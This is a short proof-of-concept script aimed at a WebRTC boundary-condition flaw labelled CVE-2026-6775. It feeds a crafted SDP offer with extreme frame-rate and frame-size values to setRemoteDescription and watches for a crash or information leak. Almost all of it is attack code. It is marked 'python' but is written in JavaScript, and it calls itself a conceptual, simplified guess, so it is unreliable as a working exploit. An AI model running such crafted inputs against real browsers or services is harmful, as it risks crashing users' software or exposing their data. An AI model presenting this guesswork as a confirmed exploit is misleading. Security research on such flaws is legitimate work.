The following code is for security research and authorized testing only.
python
/*
* Conceptual Proof of Concept for CVE-2026-6775
* This script attempts to trigger the WebRTC boundary condition vulnerability.
* Note: This is a simplified example based on the vulnerability description.
*/
// Create a PeerConnection object
const pc = new RTCPeerConnection();
// Create a data channel to interact with WebRTC internals
const dataChannel = pc.createDataChannel("testChannel");
// Craft a malicious SDP (Session Description Protocol) offer
// that attempts to hit the incorrect boundary condition in the parser.
// Adjusting parameters to extreme values might trigger the check failure.
const maliciousSDP = `
v=0
o=- 0 0 IN IP4 127.0.0.1
s=-
c=IN IP4 127.0.0.1
t=0 0
m=video 9 RTP/AVP 96
a=rtpmap:96 VP8/90000
a=fmtp:96 max-fr=999999; max-fs=999999;
`;
try {
// Set the remote description to the crafted payload
pc.setRemoteDescription(new RTCSessionDescription({
type: 'offer',
sdp: maliciousSDP
})).then(() => {
console.log("[+] Payload sent, check for crash or info leak");
}).catch(e => {
console.log("[-] Failed to set remote description:", e);
});
} catch (error) {
console.log("[-] Exception thrown:", error);
}